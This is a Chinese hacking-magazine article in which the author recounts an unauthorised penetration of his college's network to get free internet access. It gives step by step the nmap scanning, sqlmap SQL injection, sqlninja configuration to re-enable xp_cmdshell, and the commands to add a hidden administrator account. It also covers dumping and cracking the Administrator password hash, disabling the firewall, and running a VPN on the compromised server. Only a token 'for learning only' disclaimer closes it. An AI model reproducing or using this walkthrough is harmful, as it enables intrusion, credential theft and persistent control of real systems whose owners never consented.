Backtrack5下渗透校园网

本文已发于《黑客防线》2011.10期

某次去机房突然看到了挂在墙上的网络拓扑图,从而了解整个学院的网络分布情况。正好泄露了网络拓扑结果,于是在了解拓扑结构的情况下,展开了一次渗透测试。在此题外话一句,不知为何现在的学校喜欢把网络拓扑图详细地贴在墙上,女友学校的网络拓扑图还竟然公开在学校的网站上,实在无语。我简略绘制本校的拓扑结构,如图1:

图1.jpg

整个学院内部用的10.10.0.0网段的IP地址,学院有DHCP、DNS、Web、FTP服务器,它们都共同位于10.10.8.0网段。

我们宿舍每个人的书桌下有网线插孔,从拓扑图中就可以看出,虽然没有开通上网,只要网线插上去,同样可以跨网段访问,默认没有ACL的。也就是对WEB服务器可以访问的,经过扫描,还有不少内部网站,比如在线电影之类的。

我的想法是拿下某一台机器的权限,然后开个VPN来上网。为了长期使用,我选择了对服务器下手,先就选择了WEB服务器。顺便说下,我主要用的BackTrack5作为渗透环境,所使用的大部分工具均来源于BackTrack5中。

WEB服务器是在10.10.8.0这个网段的,首先用Nmap对整个网段进行扫描:

root@bt:~# nmap -sS -p 80 10.10.8.1-254 --open

其中,-p参数代表只扫描指定端口,参数后跟欲扫描的端口号;–open表示结果只显示开放了80端口的主机;10.10.8.1-254是IP地址的范围,指代10.10.8.1~10.10.8.254,因为255是广播地址,所以只用扫到254即可。只用了3秒多,就扫描完了整个网段,结果如图2:

图2.jpg

我选择了10.10.8.15这个目标站,因为它是ASP.NET架构的,如果有注入,较容易提权(后面事实证明的确非常好提权)。

打开以后竟然是一个旅游方面的网站,记得在学校某内部网站找到这个网站的链接,标明的是网络协会的,可见大学学生的东西有多杂。

随便点开了一则新闻的页面,然后用sqlmap扫描:

sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54"

很快就返回了如下文字:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=53' AND 9442=9442 AND 'fVBu'='fVBu
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2005
[*] shutting down at: 13:14:52

看来的确有注入,详细信息都在上面了,操作系统是Windows 2003,IIS6.0以及数据库是MSSQL 2005。立即看看数据库当前的用户名,提交如下命令:

./sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54" --current-user

以下是从sqlmap返回的一长串信息中摘下的:

[13:35:28] [INFO] fetching current user
[13:35:28] [INFO] read from file '/pentest/database/sqlmap/output/10.10.8.51/session': sa
current user:    'sa'

显示了当前用户名是sa,如果真的是sa权限,那么已经成功了一半以上了。提交以下命令查看当前用户的权限:

./sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54" --privileges

摘下的关键返回信息,如下:

database management system users privileges:
[*] nx
[*] sa (administrator)

果然是SA权限,赶紧换成Sqlninja,Backtrack5中的Sqlninja是新版本,新版本的Sqlninja已经不和以前的配置方法一样了,需要先建一个配置文件。在终端中键入touch conf.conf建立一个配置文件,针对此次攻击,我的配置文件如下:

--httprequest_start--
GET http://10.10.8.51/Web/News/Opiniondetail.aspx?id=53';/**/__SQL2INJECT__ HTTP/1.1
Host: 10.10.8.51
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Connection: close
--httprequest_end--

Sqlninja的配置文件格式用了标准的HTTP请求,以–httprequeststart–和–httprequestend–作为开始和结束,GET中URL后面的_SQL2INJECT_会被Sqlninja自动替换成相应的注入语句。

保存文件。由于SQL Server2005默认是禁用了xpcmdshell的,所以首先需要恢复xpcmdshell存储过程,键入命令:

root@bt:/pentest/database/sqlninja# ./sqlninja -m x -f conf.conf -d 1

-m参数为攻击模式,x参数为恢复xpcmdshell存储过程;-f用来指定配置文件;-d后跟1可以注入时提交的SQL语句,方便学习,回显如下:

> >++++++++++++++++SQL Command++++++++++++++++
if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:5';
-------------------------------------------
[+] Target seems a SQL Server 2005
1: 2000
2: 2005
f: fingerprint and act accordingly
> 2
[+] Trying to reactivate xp_cmdshell using sp_configure...
++++++++++++++++SQL Command++++++++++++++++
exec master..sp_configure 'show advanced options',1;reconfigure;exec master..sp_configure 'xp_cmdshell',1;reconfigure
-------------------------------------------
[+] Checking whether xp_cmdshell is available
++++++++++++++++SQL Command++++++++++++++++
exec master..xp_cmdshell 'ping -n 5 127.0.0.1';
-------------------------------------------
[+] Yes ! Now xp_cmdshell is available

成功恢复xpcmdshell了,接着开始执行系统命令。在终端键入:

./sqlninja -m c -f conf.conf

c参数用来执行xpcmdshell,

root@bt:/pentest/database/sqlninja# ./sqlninja -m c -f conf.conf
Sqlninja rel. 0.2.6-rc2
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
[+] Parsing conf.conf...
[+] Target is: 10.10.8.51:80
[+] Starting blind command mode. Use "exit" to be dropped back to your shell.
>

这时光标在“>”后面闪动,用于输入命令。我分别执行net user lu4nx 123456/add、net localgroup administrators lu4nx /add来添加一个名为lu4nx的管理员。

由于Backtrack5中的mstsc不太好用,我就在Windows里用mstsc登录了。 于是顺便在主机上建了一个VPN。

登录远程桌面后,我用wce.exe抓出Administrator的hash,然后用Ophcrack挂上7G的彩虹表跑出了密码,接着在“本地用户和组”中,右击Administrator,选择属性,在“拨入”选项卡中,将“远程访问权限(拨入或VPN)”改成“允许访问”,如图3:

图3.jpg

然后在“控制面板”——“路由和远程访问”,在相应的计算机名中点右键,选择“配置并启用路由和远程访问”,弹出的向导中选择“自定义配置”,勾选“VPN”访问和“NAT和基本防火墙”,完成向导后启用服务即可,只要保证Server、Routing and Remote Access、Remote Registry和Workstation四个服务开启了,关闭Windows防火墙即可。

然后在本地建立一个VPN连接,填入IP、用户名和密码即可,如图4:

图4.jpg

本文主要综合使用了一下BackTrack5中的工具,本文纯属学习,勿用于其他用途:)